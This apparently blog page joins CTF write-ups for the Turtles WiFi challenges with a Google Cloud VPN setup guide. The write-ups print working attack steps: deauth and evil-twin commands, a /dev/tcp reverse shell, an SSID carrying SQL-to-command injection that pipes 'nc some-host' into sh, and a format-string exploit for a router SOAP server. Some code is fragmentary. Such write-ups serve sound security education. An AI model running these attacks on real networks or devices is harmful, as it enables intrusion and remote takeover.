# Log hostname for DNS revers lookup
if o[0] == 'hostname':
cmd = "echo %s %s.lan >> hostnames.txt" % (dest_ip, o[1].decode("ascii"))
os.system(cmd )

At this point we have every ingredients to break into the AP and execute arbitrary shell commands by sending a specially crafted DHCP offer packet encrypted with the GTK 🔥; here's my code that can be run from t1_start:

# Axel '0vercl0k' Souchet - April 11 2023
from scapy.all import *
from salsa20 import Salsa20
from itertools import count
import hmac
import hashlib
import struct

gtk_full = b'turtle{everyone gets a shell :)}'
GTK = gtk_full[:16]
MIC_AP_TO_GROUP = gtk_full[16:24]
group_IV = count()

def encrypt(pkt):
data =
pn = next(group_IV)
aad_calc =, data, hashlib.sha1).digest()[:16]
key = GTK
cipher = Salsa20(key, struct.pack('>Q', pn))
payload = cipher.encrypt(data) + aad_calc
pn0 = pn & 0xff
pn1 = (pn>>8) & 0xff
pn2 = (pn>>16) & 0xff
pn3 = (pn>>24) & 0xff
return Dot11CCMP(data=payload, ext_iv=1, key_id=1, PN0 = pn0, PN1=pn1, PN2=pn2, PN3=pn3)

def main():
# root@0c0b905e70eb:/# iw dev
# phy#0
# Interface mon0
# ifindex 2
# wdev 0x2
# addr 02:00:00:00:00:00
# type monitor
# txpower 20.00 dBm
# Interface wlan0
# ifindex 50
# wdev 0x1
# addr 02:00:00:00:00:00
# type managed
# txpower 20.00 dBm
ap = '02:00:00:00:00:00'
# root@29a50eeb6fb5:/x# iw dev
# phy#1
# Interface wlan1
# ifindex 51
# wdev 0x100000001
# addr 02:00:00:00:01:00
# type managed
# txpower 20.00 dBm
station = '02:00:00:00:01:00'
cmd = 'id; ls /'
inner_pkt = Ether(src=station) / IP() / UDP(dport=67) / BOOTP(op=1) / DHCP(options=[
('hostname', f'; {cmd} #'),
receiver = ap
sender = station
bssid = ap
pkt = RadioTap() / Dot11(addr1=receiver, addr2=sender, addr3=bssid, FCfield='to-DS+protected') / encrypt(inner_pkt)
os.system('iw dev wlan1 interface add mon1 type monitor 2>/dev/null')
sendp(pkt, iface = 'mon1', verbose = True)

if __name__ == '__main__':

Thanks again to SPR, the challenge authors for putting out free educational content, you guys rock 👏🏽✊🏽

· 9 min read

Editor's note:

The Turtles WiFi challenges are a series of ctf-style problems concerning network and wifi security skills. We first ran a challenge in this style at Stockholm's Midnight Sun CTF Finals in August '22 at the Turtles MidnightSun Finals. You can play along with January's challenge, with the github repository.

January's winner, Amy from Ret2 Systems, has kindly let us share their challenge writeup. Congratulations! And thanks again for putting this writeup together.

February's contest will be released on the 20th and we will be giving out more raspberry pis!


We find ourselves in a twisting maze of WLANs. There are 5 machines connected across several WLAN networks. We start as root on the first machine and must move laterally across the network to exfiltrate 3 flag files. From our box we can connect to an access point with the SSID "jan-turtle1".

Flag 1

Our first target is also connected to the "jan-turtle1" AP over WPA3. We can assume that the target may be doing something interesting over this network, so performing a MitM attack may be fruitful. To pull this off we can use the so-called "Evil Twin Attack" where we impersonate the AP.

First we need to set up our own AP with the same SSID and configuration as the existing "jan-turtle1" AP. I used hostapd to do this with the following config:

ip addr add dev wlan2
hostapd -B /root/h.conf

Once we have the AP up and running, clients looking for the real "jan-turtle1" AP may connect to our malicious AP instead. However the target is already connected to the existing AP, so it won't attempt to reconnect to our AP.

Luckily we can force it off of the original AP by abusing deauthentication packets. If we send these packets with a spoofed target address, we cause the target to disconnect. Once the client has disconnected, there is a chance that they will reconnect to our malicious access point. We can use aireplay-ng to perform this attack on a second WLAN:

ip link set dev wlan3 up
yes | airmon-ng start wlan3 40
# Start deauth on target MAC
aireplay-ng -0 10 -a 02:00:00:00:00:00 -c 02:00:00:00:01:00 wlan3mon &
# tcpdump -i wlan2 -v
06:09:53 Waiting for beacon frame (BSSID: 02:00:00:00:00:00) on channel 40
06:09:53 Sending 64 directed DeAuth (code 7). STMAC: [02:00:00:00
tcpdump: listening on wlan2, link-type EN10MB (Ethernet), snapshot length 262144 bytes
06:10:01.225272 02:00:00:00:01:00 (oui Unknown) > Broadcast Null Unnumbered, xid, Flags [Response], length 6: 01 00
06:10:08.879191 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has tell, length 28
06:10:08.879228 ARP, Ethernet (len 6), IPv4 (len 4), Reply is-at 02:00:00:00:02:00 (oui Unknown), length 28
08:35:14.868587 IP (tos 0x0, ttl 64, id 18623, offset 0, flags [DF], proto TCP (6), length 60) > Flags [S], cksum 0x27e2 (correct), seq 547073709, win 64240, options [mss 1460,sackOK,TS val 3350547164 ecr 0,nop,wscale 7], length 0
06:10:08.879473 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40) > Flags [R.], cksum 0x9d34 (correct), seq 0, ack 547073710, win 0, length 0

Looks like there is a unencrypted HTTP request! Lets host our own http server using python:

# python3 -m http.server 80
Serving HTTP on port 80 ( - - [15/Feb/2023 06:17:06] "GET / HTTP/1.1" 404 - - - [15/Feb/2023 06:17:16] code 404, message File not found

If we create our own, it looks like the box will run it! Lets get a reverse shell

bash -i >& /dev/tcp/ 0>&1

Nice, we captured the first flag!

Listening on 1337
Connection received on 47550
bash: cannot set terminal process group (8): Inappropriate ioctl for device
bash: no job control in this shell
root@2d419af9c243:/# cat flag1.txt

Flag 2

For the second stage, we are given a binary named wardriver which is running on the second target. This binary has two main features. First it used iw dev <dev> scan to collect information on all near by access points.

int getData() {
__snprintf_chk(command, 256LL, 1LL, 256LL, "iw dev %s scan", (const char *)IFACE);
if ( fopen("scan.txt", "r") )
strcpy(command, "cat scan.txt");
v0 = popen(command, "r");
sqlite3_exec(v7, v8, 0LL, 0LL);
__int64 __fastcall insert(...) {
v8, 256LL, 1LL, 256LL,
"INSERT INTO wifis VALUES(%d, '%s', '%s', '%s');",
_id, bss_str, ssid_str, signal_str,

If we create an malicious AP, the SSID will be formatted into this INSERT command. We can use this to perform an SQL insert injection into the database, allowing us to control any field of a new entry to the wifis table.

Next we look at the second functionality. The binary will periodically dump values from the table and send them as data using a curl command:

__int64 dump() {
v0 = sqlite3_exec(v3, "SELECT * FROM wifis", callback, 0LL);
__int64 __fastcall callback(...) {
if ( bss_str && signal_str ) {
command, 128LL, 1LL, 128LL,
"curl %s --data \"{\\\"bss\\\": \\\"%s\\\", \\\"signal\\\": \\\"%s\\\"}\"",
bss_str, signal_str);
return 0LL;
return 1LL;

We can see that there is no sanitization of the bss or signal columns when formatted into the command. We can trigger command injection here by creating a malicious wifi entry using the SQL injection in the previous function. The length of command injection in the SSID is limited, so I fetched a second stage from a remote host. Here is the hostapd config with the SQL injection payload:

ssid=',''),(2,'`nc some-host 9|sh`','

After a few seconds the wardriver picks up our AP and we get a connect back on the second target!

$ nc -l 1338 -v
Listening on 1338
Connection received on 58580
bash: cannot set terminal process group (8): Inappropriate ioctl for device
bash: no job control in this shell
root@b976e8a2f52b:/# cat flag2.txt
cat flag2.txt

Flag 3

For the final target, we need to exploit an SOAP Server running on the second AP. Our second target box is already authenticated to the AP, so we can easily talk to the server directly.

Decompiling the binary, we see that it is a simple HTTP server which implements a few parts of the SOAP protocol. We can perform a some actions such as listing the server uptime or date.

The first bug I found was in an error handler. This handler uses the http_response function to build a response with HTTP code 400. However for the body pointer, it mistakenly passes a void** pointer instead of a char* ptr. This will leak the address of the soap_action function as well as a stack address in the body of the 400 response.

int __cdecl http_response(...) {
fprintf(stream, "HTTP/1.1 %d %s\r\n", a2, a3);
fwrite("Server: OS/Version UPnP/1.0 product/version", 1u, 0x2Bu, stream);
fwrite("Content-Type: text/html\r\n", 1u, 0x19u, stream);
fwrite("Connection: close\r\n", 1u, 0x13u, stream);
fwrite("\r\n", 1u, 2u, stream);
fprintf(stream, "<HTML><HEAD><TITLE>%d %s</TITLE></HEAD>\n<H4>%d %s</H4>\n", a2, a3, a2, a3);
unsigned int __cdecl handle_client(int fd) {
void* __soap_action_ = soap_action;
char *v7;
char buf[2048];
v7 = &buf;
if ( _isoc99_sscanf(...) ) {
} else {
http_response(stream, 400, "Invalid request", (const char *)&__soap_action_)

We can trigger this leak with the following code:

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))

sock.sendall(b'ENDEND a\n')
leak = (sock.recv(4096).split(b'request</H4>\n',1)[1]
text_leak = u32(leak[:4])
stack_leak = u32(leak[4:])


Looking closer at the string functions being used, there are several buffer overflows from calls to sprintf and strcpy. However almost all of these are protected by stack-cookies. Luckily there is a single case where a pointer lays between a buffer and the stack-cookie:

__int64 __cdecl soap_response(...) {
char dest[2048];
char src[2048];
char* format_str;
unsigned int cookie;
format_str = "%s";
sprintf(&src[off], "%s", sub_action);
sprintf(&src[off], format_str, action);

Since we are able to buffer overflow src using the first sprintf call, we can smash the format_str ptr. This allows point format_str at our own data on the stack (using the leak from earlier), giving us an arbitrary format string vulnerability.

We can easily exploit the format string by using the %123$hhn syntax. This syntax will write the number of bytes printed so far as a uint8_t at a given offset on the stack. This is very handy as we can use it to surgically corrupt a return pointer without messing with the stack-cookie.

At this point we can control the EIP register, but we still need to actually get code execution. There is an easy way to do this by abusing the calls to system in the binary. We can partially corrupt the return address to point it to the following address in the binary:

.text:00001A76                 call    system
.text:00001A7B add esp, 10h
.text:00001A7E sub esp, 8

The first argument of system will be the next value pointed to by ESP, which just so happens to be our format string from before. We can simply prepend our format string exploit with a command to run!

# Prep return byte overwrite targets
g1 = 0x76
g2 = ((text_leak & 0xf000) >> 8) + 0xa

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))

pl = b'post / a\nSOAPAction: '
pl += b'numberwang#wangernum42'

# Place write targets on the stack
pl += p32(target_stack_ret)
pl += p32(target_stack_ret+1)
# Padding
pl += b'EEEE'
pl += b'FFFF'
pl += b'A'*(1824-4*4)
# Smash format ptr
pl += p32(stack_leak)
pl += b'\n\n'

# Command to run in system
fmt = 'nc some-host 10|sh;#'

# Format string exploit
fmt += f'%{g1-len(fmt)}c'+'%592$hhn'+f'%{g2-g1}c'+'%593$hhn'
pl += fmt.encode('latin-1')


With this exploit ready to go, we can run it from the second target box. Once the exploit lands we are greeted with our last reverse shell and get the last flag!

$ nc -l 1339 -v
Listening on 1339
Connection received on 14253
bash: cannot set terminal process group (8): Inappropriate ioctl for device
bash: no job control in this shell
root@21fbbf871fa0:/# cat flag3.txt

Editor's note:

Challenge 3 is based on a flaw the Supernetworks team exploited in preparation for December's pwn2own contest against the Netgear RAX30. Oddly enough: the soapd binary has FORTIFY_SOURCE enabled, yet still has some stray sprintfs, and does in fact store the format string on the stack like that, for unclear reasons.

· 3 min read


This guide shows how to setup a new E2 instance in Google Cloud, allow VPN access in firewall and install Virtual SPR. The result is a private VPN with a custom DNS server able to block ads, log traffic, and more features included in SPR.

For a more general and in-depth guide see the Virtual SPR Guide.

Setup Account

Skip this section if you already have an Google Cloud account & a project setup.

Go to Google Cloud & sign in with a Google account, or create a new one and enable Google Cloud. Google have a Free Tier where you get $300 in free credits when signing up as a new customer. Continue by creating a Payment Profile.

When done click New Project in the top menu dropdown and pick a name for your project.

Create Instance

In the top navigation menu go to Compute Engine and click VM Instances.

Click Enable if you haven't used the service before. If promped to create a project, pick a name for it & click Create.

Click Create Instance.

Select a name for your instance & pick a region.

For Series go with E2 and Machine type for the least expensive alternative.

Under Boot disk click Change:

Select and save:

  • Operating System Ubuntu
  • Version Ubuntu 22.04 LTS x86/64

Expand Advanced options, then Networking, scroll down to Network interfaces and click default. Select External IPv4 address and click Create IP address to assign a static IP address for your instance.

The default settings is fine for the other options. Now click Create to boot up the instance.

Firewall rules for VPN access

In the navigation go to VPC Network and click Firewall. Click Create Firewall Rule at the top of the page.

Settings in screenshot:

  • Name allow-wireguard
  • Diretion of Traffic ingress
  • Network default
  • Targets All instances in the network all is fine, specify a target if you run more instances
  • Source Filter IP ranges
  • Source IP Ranges or if you know the range you will be connecting from
  • Protocols and Ports UDP and 51280
  • Second Source filter None

Note: This only allows connections to the instance, WireGuard will authorize clients when connecting.

Access instance & install SPR

Your instance should be available under Compute Engine -> VM Instances. Click SSH in the listing:

A browser window should popup with a terminal. Run the SPR virtual installer with sudo:

sudo bash -c "$(curl -fsSL"

Check out the source for here.

If you want to add another device, just run the setup script again:

cd super
sudo ./

Now you have a WireGuard VPN config ready, either scan the QR Code or paste the config into the WireGuard client.

For more information on setting up the client see the Virtual SPR Guide on how to connect your VPN client to the instance.